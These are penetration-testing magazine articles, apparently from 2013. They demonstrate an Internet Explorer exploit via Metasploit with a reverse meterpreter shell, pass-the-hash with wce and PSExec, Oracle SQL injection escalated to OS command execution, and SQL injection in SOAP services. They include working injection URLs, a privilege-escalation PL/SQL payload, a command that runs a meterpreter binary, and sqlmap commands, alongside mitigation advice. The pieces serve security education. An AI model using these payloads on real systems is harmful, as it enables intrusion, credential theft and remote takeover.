cd /Pentest/exploits/framework . /msfconsole Use exploit/windows/browser/ms12_037_same_id [/*this command loads an exploit which would be able to exploit the Internet Explorer memory corruption vulnerability of same id deleted property/*]

Step 1

Start the exploit using the ms12_037_same_id exploit included in the Metasploit exploitation framework in BackTrack 5 R3: Assume that the attackers machine running backtrack-5 r3 is a host with an IP address of 192.168.1.1. Lets set this up: Figure 1. Above three commands set up backtrack host as 192.168.1.3 and default gateway as 192.168.1.3 which is our victim (Windows 7 and internet explorer 8).

The exploit has been launched and SRVHOST is set as 192.168.1.1, so that it will be listening when the victim is forcefully connected. The exploit is executed by using EXPLOIT command. As you can see, the exploit server is running and waiting for victim to visit the exploited webpage:
PAYLOAD: windows/meterpreter/reverse_tcp is used to open a Meterpreter session.

Figure 2. Exploitation commands on Metasploit

Lets see that as well Windows 7 with IE 8 has been selected and used to exploit the victim. As you can see, when the exploit code is initiated it begins downloading before it is executed. ASLR (Address space layout randomization) and DEP (Data execution prevention) will be bypassed and memory corruption occurs when the same element that was actually deleted is called. We were able to bypass and exploit this vulnerability using return oriented programming. When a victim visits the exploited web page, the reverse_ tcp payload exploit is executed: Figure 3. As you can see, the client/ victim (192.168.1.3) visited the web page and the exploit code executed after which memory corruption occurs and a Meterpreter session is opened with the same user privileges as the currently logged-on user. To check the Meterpreter session Session l shows the list of open Meterpreter sessions and

Figure 3. JRE ROP Attack Executed on Target Computer


OPEN 08/2013 Page 56

http://pentestmag.com

Figure 4. EMET (Enhanced mitigation experience toolkit)

we can get into the Meterpreter session using Session l 1 where 1 is the Meterpreter session number. Once the Meterpreter session is opened, we can gain system-level privileges and obtain a complete shell. Countermeasures: Microsoft internet explorer 8 should be upgraded and updated. Windows firewall should be turned on. Antivirus signatures should be updated ActiveX content should be restricted. And finally last but not the least EMET (Enhanced mitigation experience toolkit) has been launched by Microsoft to protect from Stack overwrite/Structure exception handling vulnerability and a particular application can be checked for violation of DEP(data execution prevention) and ASLR (Address space lay-out randomization) and whenever a memory corruption vulnerability is found in an application, it detects and indicates to user that memory corruption vulnerability is found and restricts to exploit the memory corruption, it can be explained using this snapshot: Figure 4. The above snapshot illustrates that DEP, ASLR and SEHOP (Structure exception handler overwrite protection) have been enabled which restricts memory corruption vulnerabilities in an application and along with that a new executable (application) can also be imported to detect DEP/ ASLR/SEHO vulnerabilities.
OPEN 08/2013

We would like to be able to provide a list of countermeasures but it does not work appropriately when a new vulnerability is exploited and dozens of systems get infected. There are lots of devicerelated vulnerabilities which we would be exploiting in the future such as: Cisco ASAs, Cisco Routers, SonicWALL firewalls, and so on Just keep reading Pentest Magazine

Praveen Parihar is an information security enthusiast, having 2 years of experience in this field. The author is an RHCE, CEH, CCNA certified professional along with having a rich experience in vulnerability assessment. At present Praveen is working as an Information Security Auditor at Aneja Associates, Mumbai (India).
http://pentestmag.com

PRaveeN PaRihaR

Page 57

Pass-The-Hash Attacks
Pass-The-Hash (PTH) is a post exploitation attack technique that is used to obtain user account hashes from either client workstations or domain servers and then use this information to elevate privileges and/or create new authenticated sessions.

Article comes from Pen Test EXTRA. Download the complete issue.

he technique is used after the attacker has gained access to your environment; special attention to the risk should be raised with regards to protecting yourself against malicious insiders or rouge employees. With the right amount of knowledge, lax security controls and/or configurations from system administrators, and enough time, insiders could exploit this vulnerability within your environment. Pass-the-hash attacks have been widely known about in the security community for approximately 15 years, being first discovered by Paul Ashton [1] in 1997. The attack itself is simple; take the user account hash information from a local disk and utilize it to create newly authenticated session across the network targeting servers and workstations without ever knowing a users password. This saves the attacker precious time from using a password cracking utilities like Cain and Abel [2], John the Ripper [3], THC Hydra [4], etc. This vulnerability, especially mitigation of the total risk is not completely understood or implemented in many of todays corporate networks. Most organizations I have noticed do not take all the necessary steps to protect their internal assets properly; usually only relying on Antivirus software as the only defense against the attack. Using only a single protection mechanism against to combat
OPEN 08/2013

any risk in your environment is extremely dangerous and is setting your infrastructure, processes, and people up for failure. The hackers of today are more likely to utilize this attack methodology to penetrate your internal defenses, gaining deep access into your computing infrastructure to oppose password cracking. This vulnerability is present in every corporate computing environment, large and small so you need to take the necessary steps to reduce the risk and exposure. This article is aimed at demonstrating how easy it is to dump user account hashes, and use those account details to gain unauthorized access to secure areas of your network using a variety of techniques and protocols. This article will only focus on a sample of tool sets aimed at providing

Figure 1. Basic Windows Authentication Methodology


http://pentestmag.com

Page 58

enough guidance for the reader to understand the concept and examine their own environment. This is by no means an exhaustive list of attack possibilities or the only way to complete the attacks using the aforementioned tools. Two tools I will demonstrate this attack with include Windows Credentials Editor (wce) created by Hernan Ochoa, currently the founder of Amplia Security [5] and Metasploit Framework created by HD Moore in 2003 as a portable network tool for penetration testers [6]. These tools together are perfect for carrying out PassThe-Hash attacks within a corporate network without the proper safeguards in place. Using these tools alone you will learn how to obtain the user account hashes from memory and disk and utilize those spawning new authenticated sessions and navigating hidden operating system administrative file shares on remote machines. Finally, the article with conclude with some mitigation guidelines that can be implemented within your corporate environment limiting your exposure to this risk. After reading this article you should have an understanding of the attack methodology allowing you to test your environment determining your risk level, as well as some mitigation guidelines to safeguard your user accounts. The ultimate goal is to make the attack difficult to execute as no defenses exists today to deter the attacks from occurring.

Passwords are widely used today as the de facto authentication mechanism for everything. They are used to protect different data sets both online and offline. Because of this widespread use, users often create weak passwords and/or reuse passwords from multiple accounts. This known practice makes them a widely chosen target for attackers. Traditionally, when an attacker obtained a list of password hashes from a remote server they would usually perform a dictionary attack followed by a brute-force attempt against this list. Unfortunately, the time necessary to perform these types of attacks often consume a large amount of time or the results do not warrant accurate passwords [7]. Advancement in password attacks like rainbow tables and distributed cracking have all been found useful, but too have been found unreliable, time consuming or cost prohibited. This brings us to Pass-The-Hash attacks. To appreciate this attack you need to understand the authentication methodology of your targets. In a Microsoft Windows environment, each time a user authenticates to a domain the password is never sent in clear text to the authentication domain server. Instead this password is hashed and set aside, and a log-on authentication request is sent to the domain controller with the username provided from the workstation [8]. This starts the authentication process (see Figure 1).

Figure 2. How NTLM Based Authentication Communicates


OPEN 08/2013 Page 59

http://pentestmag.com

The domain server after receiving the authentication request creates and sends a log-on challenge to the workstation making an authentication request. The client computer receives the request, creates a response and encrypting the contents (challenge data) with its hash password. Once the authentication data is received at the domain, it creates its own hash and compares the results. If everything matches the authentication session is established (see Figure 2). If at any point during this transmission errors are received or the hashes arent matched the user receives and error and the log-on process is forced to restart [9]. If your authentication domain isnt available during the logon process, the above steps are skipped. Instead the computer creates a new hash of your typed password and compares this against a locally stored hash; Windows stores user account passwords in the Security Accounts Manager database (SAM) or in Active Directory [10] depending of if you are using a domain. If a match occurs after comparing the hashes, the authentication request is granted, if not you are asked to retype your password. Using this method allow you to utilize your domain account on your computer even if the domain is offline or unavailable. It is important to note that authentication accounts are not only located in either the SAM database or Active Directory, but also stored in memory. Each time you establish a log-on session to a remote server this information is left into memory until your session is closed. Account types that are kept in memory until closed include, but not limited to: RDP Session (Remote Desktop Sessions); Service accounts; Active Accounts (currently logged on); Runas Accounts.

Use these hashes to create authenticated sessions to remote servers. The hardest part of this attack is obtaining access to the destination workstation/server; numerous ways exists to penetration endpoint devices and are outside of the scope of this paper. We are assuming you already have this task accomplished. For the second part of this attack effort (obtaining system hashes), I am going to focus my efforts on utilizing Windows Credentials Editor (wce) [5]. wce specifically allows you to list Windows log-on sessions and add, change, list and delete associated credentials (for example, LM/NT hashes, Kerberos tickets and clear text passwords). It is also a small self contained executable. Once you download the application and extract the contents to your computer, wce can be executed without any options to display all logon sessions and NTLM credentials discovered to the screen (see Figure 3). Please Note: Unfortunately for this tool to be successful you will need to be a local administrator on the local machine or a domain admin. As we see above the system has two accounts, 'pth-test' and 'administrator'. In its simplest form, to execute a pass-the-hash attack using the output from above, we can spawn a new process using wce. The command we will use to accomplish this task is:

This poses serious risk to privileged accounts if your server is compromised as attackers could be sitting around watching accounts become active and stealing the hash information from memory to leverage additional attacks within your infrastructure.

Figure 3. wce running with no command options

The Attack

To successfully carry out this attack you need to perform three distinct steps: Obtain access to the destination (attacking) workstation/server. Download or view the user hashes.
OPEN 08/2013

Figure 4. wce launching cmd.exe utilizing account hashes


http://pentestmag.com

Page 60

'c:\Users\pth-test\Desktop\wce_v1_3beta~>wce -s adminstrator:pth-test-PC:0000000000000000000000000 0000000:538C8C0909A8F53EE4048C00B97D3A46 -c cmd.exe'

(see Figure 4).

With this information obtained, we can start attempting authenticating to remote systems using various tools available as we have user account hashes. Many tools exists to facilitate passing hashes, one I am familiar with and will demonstrate is the Metasploit Framework (MSF) [6]. The Metasploit Framework (MSF) is an open-source framework providing the security community with various security tools and exploit development platform for penetration testers. This framework is freely available and integrated into one of the most popular penetration Live CDs available, BackTrack [11]. Within the framework (MSF), many modules exist for delivering exploits, probing services, scanning hosts and making remote connections. The one we will focus on today is the PSExec. This module will allow us to launch an SMB connection to the remote host using account hashes received from earlier using wce.

Once you have your framework loaded, we will instruct Metasploit to load the PSExec module, and a reverse_tcp payload for carrying out your attacks (see Figure 5). After the module is loaded we will need to setup some variables for our attack to have the ability to execute (see Figure 6). At a minimum we will need to set the following: Destination IP Address (RHOST); Source IP Address (LHOST). From the hash dump previous, provide the following information to complete configuring the necessary variables: SMBDomain; SMBUser; SMBPassword (Enter the hash in its entirety). Once all the options are set we are ready to launch the exploit by typing 'exploit' and hitting enter. If all works well you will have a reserve shell on your screen with a 'meterpreter>' prompt (see Figure 7). This prompt represents a remote shell connection to the remote computer. Your current working directory will be 'C:\Windows\Systems32'. Simple change to any directory you wish. You will be limited to the permissions from the account used to Pass-The-Hash.

Mitigation

It is important to emphasize that steps can be taken to limit the risk from this vulnerability. For starters

Figure 5. Preparing our Metasploit Framework (MSF) Environment

Figure 6. Metasploit Framework (MSF) PSEexec SMB Variables


OPEN 08/2013

Figure 7. Metasploit PSExec SMB Pass-The-Hash Attack Results


Page 61

http://pentestmag.com

corporations should be using a popular antivirus solution as this would be your first protective layer. Most of the antivirus companies have a signature to detect the Windows Credential Editor (wce) tool from being installed or executing (see Figure 8). Other technical controls that should be implemented within your environment include but not limited to: Avoid using LM & NTLM MSKB239869; Limit login credentials cache MSKB299656; Proper Network Segmentation; Activate/Configure Firewalls (Hardware and Software). Additionally, outside of the technical controls listed above, organizations should also practice least-privilege user logins for standard users. The privileges allowed should be only enough for them to complete day-to-day work. If your users are in a capacity to provide engineering or admin type work to the infrastructure or services, then dual log-ons (one admin, one standard) and management / jump servers should be utilized. Finally organizations should implement and enforce a strong password reuse policy.

References

[1] NT Pass the Hash with Modified SMB Client Vulnerability BID233, http://www.securityfocus.com/ bid/233/info [2] Cain and Abel Password recovery tool for Windows, http://www.oxid.it/cain.html [3] John the Ripper Password cracker, http://www.openwall.com/john/ [4] THC Hydra A fast network logon cracker supporting many services, http://www.thc.org/thc-hydra/ [5] Windows Credential Editor Amplia Security, http://ampliasecurity.com/ [6] Metasploit Framework Penetration testing framework, http://www.metasploit.com/ [7] SANS Reading Room Why Crack When You Can Pass The Hash? [8] Sans Computer Forensics Blog privileged-domain-accounts-network-authentication-in-depth, http://computer-forensics.sans.org/blog/2012/09/18/protecting[9] etutorials.org In Depth Review of NTLM Authentication, http://etutorials.org/Server+Administration/ securing+windows+server+2003/Chapter+7.+Authent ication/7.1+LAN+Manager+and+NTLM/ [10] Microsoft Windows NTLM User Authentication http://support.microsoft.com/kb/102716 [11] Backtrack www.backtrack-linux.org/ Penetration Testing and Security Auditing Linux Distribution.

Conclusion

As you can see this type of attack is easily executable within your corporate environment (assuming your users are local administrators, and other missing security controls are present). With users attempting to gain more permission than they should and with liberal access to the internet, it is a receipt for disaster. Taking into consideration the mitigation steps mentioned earlier will result in reducing the risk to this vulnerability. At the end of the day the goal is to reduce the risk as no current

method or protection mechanism exists to remove the vulnerability completely.

Other Materials

Ive created a lab for testing the tools in this article. The operating system is a default load and contains the following software: Windows7 Enterprise workstation [12] (Wce and Fgdump) Other items you will need is BackTrack which has the Metasploit Framwork (MSF) installed by default.

Figure 8. Virus Total Analysis of wce


OPEN 08/2013

Christopher Ashby, Principle IT Security Analyst at GLOBALFOUNDRIES, has more than 15 years of proven experience participating in a broad range of corporate initiatives including architecting, implementing, and supporting information-security solutions in direct support of business objectives. In his most current role he serves alongside a team of engineers responsible for the security of a large global organization. For specific information on the author please visit LinkedIn http://www. linkedin.com/in/ashbyc or @ashby on twitter.
Page 62

ChRisTopheR AshbY

http://pentestmag.com

From SQLi in Oracle to Remote Execution


SQL Injection is one of the most common vulnerabilities you can find in webapps. In fact, it is the #1 vulnerability on the famous OWASP Top 10. As you probably know, SQL Injection can be exploited in order to get all the information stored in a database, but that is not all we can do with this kind of vulnerability. Databases are complex systems and can be configured wrong or be outdated.

Article comes from Pen Test EXTRA. Download the complete issue.

n this article, we are going to talk about one possible target scenario: an SQL Injection that allows us to execute SQL statements on an Oracle 11g database in order to exploit its vulnerabilities and achieve a complete system pwning.

Introduction: Sql Injection

Injection attacks are for sure a well-known topic for all readers. Discovering, fingerprinting and getting data in different ways are topics that are well documented on the Internet and even implemented in lots of both commercial and free tools (Figure 1).

However, to achieve remote code execution is becoming harder since most databases have been improved in the last few years, in order to avoid an easy exploitation. Of course, security weaknesses always exists and today we are going to talk about how can we exploit some vulnerabilities. Let me to introduce our target scenario. We have discovered an SQL Injection in a ASP webapp that lets us inject SQL code into an Oracle Database. We are lucky since the webapp shows errors. We have found two different vulnerable points: oracle. asp uses the user supplied parameter id in order

Figure 1. Injection concept


OPEN 08/2013

Figure 2. SQL Injection found


Page 64

http://pentestmag.com

to get the users first name and dbaoracle.asp is exactly the same code, but the database user has dba and some other privileges (Figure 2).

Focusing on Our Target

One of the first steps in database exploitation is to get as much information about it as we can. Of course, vulnerabilities are often specific to certain versions, and even can apply or not depending on the operating system (Windows, Solaris, etc.) that hosts the database system. As you probably know, there are some differences in the SQL language of different database systems. There is stuff that works on an Oracle Database but not on an MS-SQL one. Testing some special commands can tell us which database are we dealing with. It is called fingerprinting. There are lots of resources in the Internet that talk about how to fingerprint a database, but probably the easiest and fastest option is to use a wellknown tool such as SQLMap. Of course, other tools can be used as well: Figure 3 and Listing 1. As a second step, we should look for known vulnerabilities in this version and architecture, in sites such as Secunia, SecurityFocus or Exploit-DB. You could try to find new vulnerabilities as well, but it would often be as a security research itself, not as a part of a Penetration Testing project. We are going to focus on the most common scope; that is to detect already known vulnerabilities.

it has some built-in functions and procedures that are used in order to perform different tasks. Each of these functions has its own security settings that are really important to understand when talking about exploitation. By default, the AUTHID DEFINER clause is defined when a new function or procedure is created (and for built-in ones as well). It means that this function is going to always be executed with the creators privileges, in the same way the suid bit in a UNIX system works. The clause AUTHID CURRENT_USER has to be defined in order to change this behaviour so the function is executed with the callers privileges. This feature is really interesting for exploitation, since functions and procedures configured as AUTHID DEFINER, whose owner is a high privileged one, can be used to elevate privileges if we can find a vulnerability in them. An important point is that not every user can execute every function. The user needs to have enough privileges for it, so our main target is going to be public functions or procedures that would be executed as a privileged user. In this article, we are going to exploit some built-in features, but keep in mind that custom ones (created by the dba) could also be used.

Oracle Permissions and Functions

A concept we should know about Oracle Database security is how functions and permissions work. An Oracle Database is just like a whole operating system. It manages its own credentials, permissions and security. As any other system does,

Figure 3. SQLMap fingerprinting

Figure 4. Wrapper.class

Listing 1. Running SQLMap to test id parameter and get the database banner if possible
$ cd /opt/sqlmap $ ./sqlmap.py -u "http://www.vulnerable.com/oracle.asp?id=1" -p id --banner

Listing 2. Using Wrapper in order to execute cmd.exe and create a new file
dbms_java.runjava('oracle/aurora/util/Wrapper c:\\\\windows\\\\system32\\\\cmd.exe /c echo PWNED > c:\\\\pwned.txt')

OPEN 08/2013

Page 65

http://pentestmag.com

Modern database systems are not just simple data storage with a few index tables. They are quite complex and have a large number of built-in features. In the case of an Oracle Database, code execution is not as trivial as in other systems such as the MS-SQL Server, where there is a specific function called xp_cmdshell that lets us execute commands in the operating system. In an Oracle Database, even having the proper privileges, it is more complex to achieve command execution, but it is not impossible. One of the most widely used techniques is to use the DBMS_JAVA.RUNJAVA() function that lets us execute java classes located in the system. One of the java classes that we can find in the same Oracle installation is oracle/aurora/util/Wrapper.class. This is a really interesting class since it allows executing commands in the operating system. We dont need to exploit any weakness on any available class, since Wrapper allows command execution as a feature (Figure 4). For example, we could exploit it in order to execute any local binary or to create new files: Listing 2.

Code Execution

This statement can be put into a simple query, as follows: Listing 3, Figure 5 and 6. Great! We have achieved command execution, but we need java.io.FilePermission in order to call DBMS_JAVA.RUNJAVA() and this is not a common permission so we should elevate privileges first if necessary.

Privilege Elevation

Depending on which exact version and patch level are we testing against, we are going to try to exploit different vulnerabilities. One of them is CVE2010-0866, discovered by David Litchfield, one of the greatest Oracle security experts. Due to a flaw

Figure 5. Exploiting Wrapper Listing 3. The exploit above used, into a SQL Injection

Figure 6. File created

http://www.vulnerable.com/dbaoracle.asp?id=1 AND (SELECT dbms_java.runjava('oracle/aurora/util/ Wrapper c:\\\\windows\\\\system32\\\\cmd.exe /c echo PWNED > c:\\\\pwned.txt') FROM DUAL) IS NOT NULL --

Listing 4. Exploit code for granting java.io.FilePermission


DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT','user1','SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' FROM DUAL; BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; /

OPEN 08/2013

Page 66

http://pentestmag.com

in the DBMS_JVM_EXP_PERMS package that allows any user to grant java.io.FilePermission by itself Listing 4 and Figure 7. This vulnerability exists in Oracle Database versions 11.1.0.7 or less, and in 11.2.0.1 or less, but it has to be exploited though a PL/SQL access, not just SQL access so how could we execute PL/ SQL statements though SQL Injection?

Executing Pl/Sql Statements

PL/SQL language is far different than SQL. It is more similar to other procedural languages that we are used to handling, with variables, loops and so on. We could think about SQL in Oracle as a subset of PL/SQL. The main problem is that PL/SQL is not available when executing queries through webapps, so we cant exploit vulnerabilities that require PL/SQL access. In the last OWASP AppSec DC (2012) conference, Sumit Siddharth talked about (in his own words) functions which change everything. He was talking about a couple of functions in the DBMS_XMLQUERY package: newcontext() and

getxml(), that allow to any user to execute PL/SQL statements (Listing 5.). These functions are defined with the AUTHID CURRENT_USER clause, so we cant execute high privileged PL/SQL code, but we can exploit some vulnerable functions that are only available through PL/SQL, such as the one we have just talked about in order to grant java. io.FilePermissions: Listing 6. Although Siddharth talks about exploiting it in a single step, I have found some problems doing it. In order to avoid this, it is necessary to create a new function called givemethepower that executes the exploit and use it in the next request: Listing 7 and Figure 8. Now, we have granted java.io.FilePermission privileges, so we can use the above technique in order to create a file, or perhaps a more evil action.

Figure 7. Grantting java.io.FilePermission Listing 5. Sample code for executing PL/SQL statements

Figure 8. Exploit using xmlquery

SELECT dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''any pl/sql statement ''; commit; end;') FROM DUAL

Listing 6. Creating a function givemethepower() that contains the above privilege elevation exploit
http://www.vulnerable.com/oracle.asp?id=1 and dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_ TRANSACTION; begin execute immediate ''create or replace function givemethepower return number is PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''''DECLARE POL DBMS_JVM_EXP_PERMS. TEMP_JAVA_POLICY;CURSOR C1 IS SELECT ''''''''GRANT'''''''',USER(), ''''''''SYS'''''''',''''''''j ava.io.FilePermission'''''''',''''''''<<ALL FILES>>'''''''',''''''''execute'''''''',''''''''ENAB LED'''''''' from dual;BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL;CLOSE C1;DBMS_JVM_EXP_PERMS. IMPORT_JVM_PERMS(POL);END;'''';commit;return 1;end;''; commit; end;') is not null --

OPEN 08/2013

Page 67

http://pentestmag.com

Putting it all Together

Of course, creating a file called pwned.txt is a great ending for a demo, but it is useless in a pentest. However, we can use command execution in order to upload a new binary to the system, and then execute it as follows: Listing 8 and Figure 9. Uploading files to a compromised system is an article all by itself, so let me leave that for a postexploitation magazine topic.

Focusing on Oracle, database administrators should patch and configure carefully all the privileges settings. To apply hardening guides and the least privilege concept is always great advice. It would make life harder for pentesters, and for attackers as well.

Conclusion

SQL Injection can do more than just get the information stored in your databases. Sometimes, an attacker can exploit different security flaws in your database system (Oracle or any other) in order to gain remote code execution. Even if the system is not a really important one, it can still be used in order to pivot to others.

Figure 9. A pwned Oracle via Meterpreter

Jose Selvi works as a Penetration Tester and Security Researcher at S21sec, an important security company in Spain. In the past 9 years, he has been focusing mainly on penetration testing and incident handling. Jose has a Bachelor and Master Degree in Computer Science and a Bachelor Degree in Telecommunications. He is also is preparing a PhD project in computer science as well. He is also a SANS Institute Community Instructor, and writes on a spanish security blog http://www.pentester.es.

Jose Selvi

Listing 7. Calling the exploit function, in order to grant privileges using the exploit
http://www.vulnerable.com/oracle.asp?id=1 and givemethepower()=1

Listing 8. Executing a previous uploaded Meterpreter binary


http://www.vulnerable.com/oracle.asp?id=1 AND (SELECT dbms_java.runjava('oracle/aurora/util/Wrapper c:\\\\windows\\\\system32\\\\cmd.exe /c c:\\\\meter.exe') FROM DUAL) IS NOT NULL --

References

http://eu.wiley.com/WileyCDA/WileyTitle/productCd-0470080221.html http://www.exploit-db.com/ http://secunia.com/advisories/product/18050/?task=advisories http://www.corporate.7safe.com/wp-content/uploads/2011/05/Hacking_Oracle_From_Web_2.pdf http://www.corporate.7safe.com/wp-content/uploads/2011/10/hacking-Oracle-from-web-part2-2.pdf http://www.notsosecure.com/folder2/2011/10/28/hacking-oracle-from-web-part-2/ https://www.owasp.org/images/6/68/ASDC12-New_and_Improved_Hacking_Oracle_From_Web.pdf http://www.databasesecurity.com/HackingAurora.pdf http://drops.wooyun.org/tips/57 http://www.metasploit.com/modules/auxiliary/sqli/oracle/ http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet http://docs.oracle.com/cd/B19306_01/java.102/b14187/appendixa.htm

OPEN 08/2013

Page 68

http://pentestmag.com

Application Security for JavaEE that just works!

Start nding and xing vulnerabilities for free NOW! www.contrastsecurity.com

How to Detect SQL


Injection Vulnerabilities in SOAP?
SQL Injections are a well known topic in web application security (at least since 2001). So, why another article about that? Because not all the SQL injections are so obvious, and pentesters often look for them only inside the web application GET/POST requests.

Article comes from Pen Test EXTRA. Download the complete issue.

ons of articles have been written about the SQL injection vulnerability. Since 2001, researchers all around the world have published techniques and tools to detect and exploit them. As the wise say: a fool with a tool is still a fool, and often the penetration tester acts like a fool relying only on the automated scanning tools output to detect SQL Injection: if no alert is thrown by the scanner, the application under review is marked as "safe". Things get worse if the application under review is not the classical Web Application: many "Security Professionals", at least here in Italy, think that SQL injection vulnerabilities affects only web applications. So if the vulnerable application, for example, is Windows MDI based and the back end integration is done through SOAP Web Services, the SQL Injection vulnerabilities are not considered at all. Most of the time, SOAP Web Services are designed to integrate together remote "trusted" systems, the security controls are poorly or not implemented, and an attacker can easily bypass the application logic in order to the access the data base. In this article, we will talk about a real world example, where the automated vulnerability scanner tools failed to detect the SQL injection vulnerability residing inside the SOAP web services code, invoked by an MDI Windows application. Particularly, we start describing the vulnerability exploitation
OPEN 08/2013

phases starting from the detection to the database data acquisition using the commonly available tools.

Application Behavior Analysis

To start this kind of security analysis, the first step is setting up the right environment. In this case, the penetration test goal was to simulate an attack coming from the internal network. To do that, we needed two different boxes: the first configured with the MDI application and the second with the tools we needed to perform the job. Usually during a penetration test, the traffic produced between the attacking machines and the target application is monitored and logged for assurance purposes, so in this case the first box was also equipped with Wireshark to accomplish the monitoring tasks. In this kind of test monitoring the network traffic is also essential to understand how the application manages the underlying connection to the "data source". The testing scenario is represented in Figure 1. After setting up the environment, we started running the application while collecting traffic on the MDI interface for a few minutes. As there was no encryption over the transport layer we could easily discover that the application was relying on SOAP WEB Services to expose data to the end-user. A snippet of the SOAP communication is reported in Figure 2.
http://pentestmag.com

Page 70

Taking advantage of the information retrieved analyzing the capture data, we were able to identify the URL where the WSDLs were stored on the web server: the MDI application's backend was based on Microsoft's .NET technology thus, if not overridden by the programmer (as in our case), accessing the WEB services URL with the GET method and the parameter "WSDL" in the request, tells the WSDL specification for the accessed services. After having understood the application basic is communication pattern, we mapped all the non authenticated accessible features via the GUI, while logging the traffic. The collected data together with a bunch of GET requests, gave us all the SOAP WSDL for the whole web service. At that point, we had all the entry points to start the actual security analysis.

Automated Scan Analysis

Figure 1. A testing scenario of simulated attack coming from internal network

The activity starts with an automatic scanning tool. The tool we used (a commercial one) is supposed to be one of "the most advanced" web application scanner on the market that performs exhaustive tests also on Web Services based on SOAP technology. During the automated scan we observed that the tool was sending many attack payloads for every variable in SOAP requests. Unfortunately, we were not lucky enough, and the "most advanced" web application scanner on the market didn't find any meaningful response for our purposes. In other words, no vulnerability was

Figure 2. A snippet of the SOAP communication

Figure 3. The output given by one of the SOAP requests


OPEN 08/2013 Page 71

http://pentestmag.com

identified inside the SOAP Web Services and the applications were marked as "secure". We made a second attempt with the same tool with a slightly tuned configuration ,where we increased the timeout and the number of retries in case of communication fail and after few hours, we obtained the same results. Just to be sure that the SOAP WEB Services was not vulnerable, we decided to try again, this time with one of the "most advanced" non commercial available web application scanner. The results were the same, no vulnerability was identified.
Listing 1. The SOAP request that triggered the error message

With these results, it would have been logical to close the activity with an almost empty report, and mark the application as secure. But hey, we're not monkeys nor fools we can't rely on an automated tools results to determine whether an application is secure or not, so we decided to manually test the SOAP WEB services in a different way, looking for some specific class of vulnerabilities.

Discovery of the SQL Injection Vulnerability

We focused on the Windows MDI based application backend because in our testing scenario, it is

POST /service1.asmx HTTP/1.1 Content-Type: text/xml SOAPAction: "XXXXXX.WSPServer/XXXXXXXXXXXXXXXXXXXXXXXXXXXX" Content-Length: 616 Referer: http://XXXXXXXXXXXXXXXXXXXXXXXXXXXX:82/service1.asmx Host: XXXXXXXXXXXXXXXXXXXXXXXXX:82 Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0) Accept: */* <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.orq/soap/envelope" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://xxxxxxxxxxxxxxx" xmlns:SOAP-ENC="http://schemas.xm1soap.org/soap/encoding/" xmlns:urn="XXXXXX.WSPServer"> <SOAP-ENV:Header/> <SOAP-ENV:Body> <urn:XXXXXXXXXXXXXXXXXXXXXXXXXXXX> <urn:key>1&apos;"</urn:key> <urn:value>1</urn:value> </urn:XXXXXXXXXXXXXXXXXXXXXXXXXXXX> </SOAP-ENV:Body> </SOAP-ENV:Envelope>

Listing 2. The sqlmap command line used to exploit the vulnerability and retrieve the users
$ ./sqlmap -r ACTIVITY.request --level 5 --risk 3 --users web server operating system: Windows Vista web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.0 back-end DBMS: Oracle database management system users [26]: [*] ANONYMOUS [*] APEX_PUBLIC_USER [*] APPLUSR [*] DBSNMP ...

OPEN 08/2013

Page 72

http://pentestmag.com

the easiest way to obtain sensitive data. It does not make sense to look for typical web application interface vulnerabilities (for example XSS or Clickjacking). So we have to focus on application logic vulnerabilities, SQL/Code injection, and so on. We decided to insist manually on SQL Injections using better fuzzing techniques on previouvsly identified SOAP requests. In our experience in fact, this kind of applications entirely accessed by Windows MDI based application, rather then the typical user/browser, are rarely coded with the right security approach. Input validation is even less considered when the application is designed for internal network use. The tool of choice is Burp Suite, particularly the intruder module. It offers a very flexible way to perform fuzzing tasks regardless the underlying http based target technology. The intruder supports multiple attack types and multiple payloads schemes to be used during the fuzzing. We configured the "Sniper" mode, an attack type that uses a single set of payloads. For each round, the sniper replaces one data field at a time with the chosen payload, leaving the others unchanged. In our experience this attack type is very effective in identifying possible injections because it narrows down the injection scope to a specific data field. The chosen payload sets are made of all the most effective payloads collected during last years pentesting activities. The fuzzing output has been analyzed and one of the SOAP requests gave an interesting output: "ORA-01756 quoted string not properly terminated" (in Italian) as shown in Figure 3. The request that triggered the error message shows the vulnerable SOAP request parameter which is the one called "key". The SOAP request is shown in Listing 1.

scope of payloads and boundaries, while the "risk" parameter defines how heavy the SQL injection should be, wether OR-based SQL injection should be used and enables potentially risky queries. Our test has been fairly aggressive so we set "level" parameter to 5 and "risk" parameter to 3. The sqlmap cmdline used to exploit the vulnerability and retrieve the users is shown in Listing 2.

Conclusion

Automated vulnerability scanner tools are not enough but are complementary to a deep manual analysis. Due to a large number of reasons, a tool can fail to detect a vulnerability, even a well known one like a SQL injection. So, relying only on the output of an automated tool to evaluate the security level of an application may give a false sense of security: certain class of vulnerabilities may be over rated while others are ignored and could represent a real security risk. That's when the human factor (for example the pentester) makes the difference: it is fundamental to deepen the investigation and to go over the first results even if they are all negatives. In the specific case of SQL injections, they can be in several places other than web request parameters. Sometimes in a test, the less common vectors are ignored (for example SOAP, headers, cookies) but these interfaces are even more interesting for a pentester, because their lower exposition to the user typically leads to less attention to input validation in the code.

SQL Injection Exploitation

Exploiting a SQL injection in a SOAP web service is not different from exploiting one in a WEB application. Once the vulnerable parameter has been clearly identified, the next step is to choose how to enumerate the information. The tool of choice to exploit the SQL injection is SQLmap, fed with the requests identified using the "intruder" module. We used it because it supports many exploitation and evasion techniques and combine them to enumerate db structure and fetch all possible data from the database. First attempt with default configuration did not provide any interesting results, so we decided to go for another round setting the "level" and "risk" parameters on. The "level" parameter defines the
OPEN 08/2013

